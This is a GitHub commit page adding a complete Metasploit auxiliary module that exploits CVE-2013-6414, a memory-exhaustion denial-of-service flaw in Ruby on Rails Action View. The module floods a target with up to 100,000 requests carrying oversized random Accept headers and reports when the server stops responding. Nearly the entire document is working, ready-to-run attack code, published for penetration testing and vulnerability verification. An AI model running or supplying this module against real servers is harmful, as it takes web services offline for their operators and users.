Skip to content

Commit 75fb38f

Browse files
committed
2 parents f77784c + fdebfe3 commit 75fb38f

File tree

1 file changed

+120
-0
lines changed

1 file changed

+120
-0
lines changed
Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
include Msf::Exploit::Remote::Tcp
10+
include Msf::Auxiliary::Dos
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Ruby-on-Rails Action View MIME Memory Exhaustion',
15+
'Description' => %q{
16+
This module exploits a Denial of Service (DoS) condition in Action View that requires
17+
a controller action. By sending a specially crafted content-type header to a rails
18+
application, it is possible for it to store the invalid MIME type, and may eventually
19+
consumes all memory if enough invalid MIMEs are given.
20+
21+
Versions 3.0.0 and other later versions are affected, fixed in 4.0.2 and 3.2.16.
22+
},
23+
'Author' =>
24+
[
25+
'Toby Hsieh', # Reported the issue
26+
'joev', # Metasploit
27+
'sinn3r' # Metasploit
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
[ 'CVE', '2013-6414' ],
33+
[ 'OSVDB', '100525' ],
34+
[ 'BID', '64074' ],
35+
[ 'URL', 'http://seclists.org/oss-sec/2013/q4/400' ],
36+
[ 'URL', 'https://github.com/rails/rails/commit/bee3b7f9371d1e2ddcfe6eaff5dcb26c0a248068' ]
37+
],
38+
'DisclosureDate' => 'Dec 04 2013'))
39+
40+
register_options(
41+
[
42+
Opt::RPORT(80),
43+
OptString.new('URIPATH', [true, 'The URI that routes to a Rails controller action', '/']),
44+
OptInt.new('MAXSTRINGSIZE', [true, 'Max string size', 60000]),
45+
OptInt.new('REQCOUNT', [true, 'Number of HTTP requests to pipeline per connection', 1]),
46+
OptInt.new('RLIMIT', [true, 'Number of requests to send', 100000])
47+
],
48+
self.class)
49+
end
50+
51+
def host
52+
host = datastore['RHOST']
53+
host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80
54+
host
55+
end
56+
57+
def long_string
58+
Rex::Text.rand_text_alphanumeric(datastore['MAXSTRINGSIZE'])
59+
end
60+
61+
#
62+
# Returns a modified version of the URI that:
63+
# 1. Always has a starting slash
64+
# 2. Removes all the double slashes
65+
#
66+
def normalize_uri(*strs)
67+
new_str = strs * "/"
68+
69+
new_str = new_str.gsub!("//", "/") while new_str.index("//")
70+
71+
# Makes sure there's a starting slash
72+
unless new_str.start_with?("/")
73+
new_str = '/' + new_str
74+
end
75+
76+
new_str
77+
end
78+
79+
def http_request
80+
uri = normalize_uri(datastore['URIPATH'])
81+
82+
http = ''
83+
http << "GET #{uri} HTTP/1.1\r\n"
84+
http << "Host: #{host}\r\n"
85+
http << "Accept: #{long_string}\r\n"
86+
http << "\r\n"
87+
88+
http
89+
end
90+
91+
def run
92+
begin
93+
print_status("Stressing the target memory, this will take quite some time...")
94+
datastore['RLIMIT'].times { |i|
95+
connect
96+
datastore['REQCOUNT'].times { sock.put(http_request) }
97+
disconnect
98+
}
99+
100+
print_status("Attack finished. Either the server isn't vulnerable, or please dos harder.")
101+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
102+
print_status("Unable to connect to #{host}.")
103+
rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error
104+
print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached.")
105+
ensure
106+
disconnect
107+
end
108+
end
109+
end
110+
111+
=begin
112+
113+
Reproduce:
114+
115+
1. Add a def index; end to ApplicationController
116+
2. Add an empty index.html.erb file to app/views/application/index.html.erb
117+
3. Uncomment the last line in routes.rb
118+
4. Hit /application
119+
120+
=end

0 commit comments

Comments
 (0)